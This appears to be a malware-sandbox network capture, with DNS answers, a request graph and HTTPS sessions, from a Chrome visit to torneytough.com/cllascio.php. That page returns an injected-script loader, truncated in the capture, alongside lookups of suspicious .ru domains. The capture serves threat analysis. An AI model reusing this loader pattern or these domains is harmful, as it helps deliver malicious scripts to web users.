Mar 6, 2025 14:38:39.328671932 CET	1.1.1.1	192.168.2.4	0xdbd3	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:42.316581964 CET	1.1.1.1	192.168.2.4	0x66a9	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:42.316581964 CET	1.1.1.1	192.168.2.4	0x66a9	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:42.316581964 CET	1.1.1.1	192.168.2.4	0x66a9	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:42.316581964 CET	1.1.1.1	192.168.2.4	0x66a9	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.323462009 CET	1.1.1.1	192.168.2.4	0x1032	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:44.323868990 CET	1.1.1.1	192.168.2.4	0x86fc	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.323868990 CET	1.1.1.1	192.168.2.4	0x86fc	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.367307901 CET	1.1.1.1	192.168.2.4	0x98e2	No error (0)	developers.cloudflare.com	104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.367307901 CET	1.1.1.1	192.168.2.4	0x98e2	No error (0)	developers.cloudflare.com	104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.367307901 CET	1.1.1.1	192.168.2.4	0x98e2	No error (0)	developers.cloudflare.com	104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.367307901 CET	1.1.1.1	192.168.2.4	0x98e2	No error (0)	developers.cloudflare.com	104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.367307901 CET	1.1.1.1	192.168.2.4	0x98e2	No error (0)	developers.cloudflare.com	104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.367544889 CET	1.1.1.1	192.168.2.4	0x5043	No error (0)	developers.cloudflare.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:46.897861004 CET	1.1.1.1	192.168.2.4	0xf5d9	No error (0)	developers.cloudflare.com	104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:46.897861004 CET	1.1.1.1	192.168.2.4	0xf5d9	No error (0)	developers.cloudflare.com	104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:46.897861004 CET	1.1.1.1	192.168.2.4	0xf5d9	No error (0)	developers.cloudflare.com	104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:46.897861004 CET	1.1.1.1	192.168.2.4	0xf5d9	No error (0)	developers.cloudflare.com	104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:46.897861004 CET	1.1.1.1	192.168.2.4	0xf5d9	No error (0)	developers.cloudflare.com	104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:46.899780989 CET	1.1.1.1	192.168.2.4	0xa18b	No error (0)	developers.cloudflare.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:59.359580994 CET	1.1.1.1	192.168.2.4	0x74eb	No error (0)	v3mm.biijvi.ru		65	IN (0x0001)	false
Mar 6, 2025 14:38:59.440789938 CET	1.1.1.1	192.168.2.4	0x4865	No error (0)	v3mm.biijvi.ru	104.21.20.57	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:59.440789938 CET	1.1.1.1	192.168.2.4	0x4865	No error (0)	v3mm.biijvi.ru	172.67.191.206	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:39:05.020493031 CET	1.1.1.1	192.168.2.4	0x403b	No error (0)	v3mm.biijvi.ru		65	IN (0x0001)	false
Mar 6, 2025 14:39:05.046710014 CET	1.1.1.1	192.168.2.4	0x3b12	No error (0)	v3mm.biijvi.ru	172.67.191.206	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:39:05.046710014 CET	1.1.1.1	192.168.2.4	0x3b12	No error (0)	v3mm.biijvi.ru	104.21.20.57	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

torneytough.com

cdnjs.cloudflare.com

xx3j.t23ngbco3.ru

https:

challenges.cloudflare.com

code.jquery.com

developers.cloudflare.com

v3mm.biijvi.ru

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	104.168.69.110	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:30 UTC	666	OUT	GET /cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152 HTTP/1.1 Host: torneytough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:30 UTC	196	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:30 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-03-06 13:38:30 UTC	2112	IN	Data Raw: 38 33 34 0d 0a 20 20 20 20 76 61 72 20 77 62 79 78 50 67 58 59 43 4b 61 75 58 75 61 4d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 77 62 79 78 50 67 58 59 43 4b 61 75 58 75 61 4d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 77 62 79 78 50 67 58 59 43 4b 61 75 58 75 61 4d 29 3b 0d 0a 77 62 79 78 50 67 58 59 43 4b 61 75 58 75 61 4d 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 834 var wbyxPgXYCKauXuaM = document.createElement("script");wbyxPgXYCKauXuaM.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(wbyxPgXYCKauXuaM);wbyxPgXYCKauXuaM.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	104.17.25.14	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:32 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:33 UTC	971	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:32 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"64972557-4155" Last-Modified: Sat, 24 Jun 2023 17:18:15 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 26654 Expires: Tue, 24 Feb 2026 13:38:32 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O1RLQesQ45rZT%2FRxHwGIx5%2F511Cxs%2Brd6PBGVijnUR1%2Bvc4%2FskRZRrpNanHcTUaPigfFWtB8Cw8%2F69%2FWXtzsrhPIAwk6jF%2FqHdoeGAQaqdsZMdqj4SdUl3P95nO%2FT%2BoskeUaznmg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91c2410afe0412de-ATL alt-svc: h3=":443"; ma=86400
2025-03-06 13:38:33 UTC	398	IN	Data Raw: 37 62 65 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7be5!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 77 2e 63 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 Data Ascii: w.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("funct
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 34 29 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d Data Ascii: 4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)}
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 26 28 74 3d 64 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 Data Ascii: &(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)t
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 3d 72 3f 28 72 3d 30 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e Data Ascii: =r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 Data Ascii: +886263092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((429490
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 Data Ascii: eAt(o)]>>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 30 2c 48 5b 32 37 5d 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c Data Ascii: 0,H[27]),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 7b 76 61 72 20 74 3d 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b Data Ascii: {var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+
2025-03-06 13:38:33 UTC	1369	IN	Data Raw: 63 48 65 6c 70 65 72 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 Data Ascii: cHelper(o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	104.168.69.110	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:32 UTC	526	OUT	GET /cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152 HTTP/1.1 Host: torneytough.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:33 UTC	196	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:32 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-03-06 13:38:33 UTC	2112	IN	Data Raw: 38 33 34 0d 0a 20 20 20 20 76 61 72 20 65 52 56 74 4c 44 53 4e 6d 63 47 4c 41 70 47 63 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 65 52 56 74 4c 44 53 4e 6d 63 47 4c 41 70 47 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 65 52 56 74 4c 44 53 4e 6d 63 47 4c 41 70 47 63 29 3b 0d 0a 65 52 56 74 4c 44 53 4e 6d 63 47 4c 41 70 47 63 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 834 var eRVtLDSNmcGLApGc = document.createElement("script");eRVtLDSNmcGLApGc.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(eRVtLDSNmcGLApGc);eRVtLDSNmcGLApGc.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	104.17.25.14	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:35 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
